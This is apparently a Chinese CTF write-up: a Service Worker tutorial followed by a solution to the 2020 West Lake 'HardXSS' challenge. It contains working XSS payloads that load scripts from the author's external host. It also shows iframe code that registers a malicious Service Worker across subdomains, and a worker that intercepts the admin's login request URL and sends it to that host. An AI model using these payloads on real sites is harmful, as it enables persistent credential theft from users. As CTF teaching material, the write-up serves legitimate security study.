Service Worker从入门到跑路(2020西湖论剑HardXSS)

Service Worker 介绍

Service Worker是根据origin和资源路径注册的以事件驱动的Worker。主要以Javascript文件的形式,该Javascript脚本可以用于控制与其关联的网页内容,可以用于拦截和修改请求和资源内容,甚至缓存资源。最常见的Service Worker的使用方法是,如网络连接不可用的情况下,对于访问行为进行的资源加载。

Service Worker主要在工作程序的上下文运行,因此没有DOM的访问权限,同时它运行在与目标标签页不同的线程上。

出于安全原因,Service Worker仅在https或localhost上运行以防止中间人攻击。

Service Worker 使用

Service Worker的遵循以下生命周期

  1. 注册(下载)
  2. 安装
  3. 启用

当用户首次访问存在Service Worker的站点时,将会立即下载Service Worker

通过监听install事件,安装Service Worker

通过activate事件,用于激活Service Worker

通过FetchEvent事件来响应请求,可以使用FetchEvent.repsondWith()方法以任何需要的方式修改请求的响应内容。

注册

if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('./sw-test/sw.js', {scope: './sw-test/'})
  .then((reg) => {
    // registration worked
    console.log('Registration succeeded. Scope is ' + reg.scope);
  }).catch((error) => {
    // registration failed
    console.log('Registration failed with ' + error);
  });
}

主要的参数主要有两个

  • /sw-test/sw.js 为service worker的js路径

    • js路径是相对路径
    • worker需要运行在HTTPS环境下
    • Service worker需要与Web应用同源
  • ./sw-test/ 为service worker的工作路径(所有请求响应拦截仅会在该路径下)

安装并激活

注册完成后,浏览器将尝试安装,然后为您的页面/站点激活SW

安装完成后,将触发install事件,install事件用于填充脱机运行时的资源。例如缓存js

self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open('v1').then((cache) => {
      return cache.addAll([
        './sw-test/',
        './sw-test/index.html',
        './sw-test/style.css',
        './sw-test/app.js',
        './sw-test/image-list.js',
        './sw-test/star-wars-logo.jpg',
        './sw-test/gallery/',
        './sw-test/gallery/bountyHunters.jpg',
        './sw-test/gallery/myLittleVader.jpg',
        './sw-test/gallery/snowTroopers.jpg'
      ]);
    })
  );
});

激活主要用于更新Service worker,可用于持久控制时,针对系统的版本更新进行更新SW。

Fetch 事件

Fetch事件会获取该SW控制的所有资源请求,因此我们可以通过Fetch很简单的对HTTP响应进行修改,更新。

self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request)
  );
});

fetch中可以对event.request和response作出如new Response或者clone()等处理,用于魔改返回或者存储内容。

importScripts

importScripts 主要来自Web Worker,用于引入外部脚本。而Service Worker也可以使用这个方法。因此我们可以在Service Worker中使用该方法来引入外部变量,前提是同样使用https。

做题家

0x01 功能分析

首先打开题目

https://xss.xss.eec5b2.challenge.gcsis.cn/

看到一个子域名爆破的工具,然而子域名的资源获取的地方404了,因此这个功能基本没啥用。

结合第一个hint:jsonp,找到jsonp在登陆页面,审计js代码

可以发现有几个问题

  • auto_reg_var可以用于覆盖变量
  • jsonp的回调函数如果满足条件可以造成任意跳转

首先变量覆盖就可以用于覆盖定义好的callback变量,来注入js,如

https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=alert(1)//

造成弹窗,但是此处有长度限制,无法执行太长的js

jsonp回调函数如果满足result['status']则会跳转到对应的jump_url。看起来可以用,但是后面的

window[funName] = function(data){...}

由于funName = callback,因此无法获取到自己输入的括号中的数据,导致无法利用。

0x02 利用链

jsonp方法虽然没法造成任意跳转,但是可以用于获取到任意js,同时加载入页面中。如下

https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=jsonp(%22//www.bertramc.cn/a.js%22);

通过两次jsonp成功引入了我们自己的js。

这时候如果是打cookie,那么我们已经成功了。

但是注意到提示

嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!

收到邮件后点开链接,然后登陆,也就是不是已经登陆的BOT,应该是通过selenium模拟登陆的BOT。对登陆功能分析,发现登陆就是直接对api进行了get请求,因此思路大致清楚了,只需要获取到管理员登陆时的URL即可,这时候就需要用到Service Worker了,SW可以实现类似常驻后门的操作,可以用于监控该Service Worker控制的网站的请求。

0x03 解决问题

首先发现,Service Worker需要抓取密码的应用和实际存在XSS的应用在不同域。

登陆

https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginVerify?adminname=admin&adminpwd=123123

XSS

https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=jsonp(%22//www.bertramc.cn/a.js%22);

因此首先要解决的就是Service Worker注册时的跨域问题。

  • 通过新建iframe和设置document.domain来使iframe和父body的js可以实现互通。
  • iframe的src设置为https://auth.xss.eec5b2.challenge.gcsis.cn/
  • 最后在iframe中执行注册service worker的js即可
document.domain="xss.eec5b2.challenge.gcsis.cn";

var iframe = document.createElement('iframe');
iframe.id = 'fucker';
iframe.src="https://auth.xss.eec5b2.challenge.gcsis.cn/";
document.body.appendChild(iframe);

function loadover(){
    document.domain="xss.eec5b2.challenge.gcsis.cn";
    s = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('//www.bertramc.cn/b.js')//")`;

document.getElementById("fucker").contentWindow.eval(s);
}
iframe1 = document.getElementById("fucker");

iframe1.addEventListener("load", function(){ loadover(); });

分别用到几个点

  • Iframe 和父域通过控制父域的domain可以实现js互通
  • 在iframe中执行代码,需要iframe加载完成后才行
  • 在iframe中执行代码使用contentWindow.eval()

解决这些问题后,就可以实现跨子域名注册Service Worker了

代码如下

self.addEventListener('install', function(event) {
        console.log('install ok!');
});

self.addEventListener('fetch', function (event) {
        console.log(event.request);
     event.respondWith(
        caches.match(event.request).then(function(res){
        return requestBackend(event);
        })
        )
   });

function requestBackend(event){
        var url = event.request.clone();
        console.log(url.url)
        fetch("https://www.bertramc.cn/?flag="+btoa(url.url));
}

这里直接抄了别人的代码,然后通过fetch来传递数据。

此处评论已关闭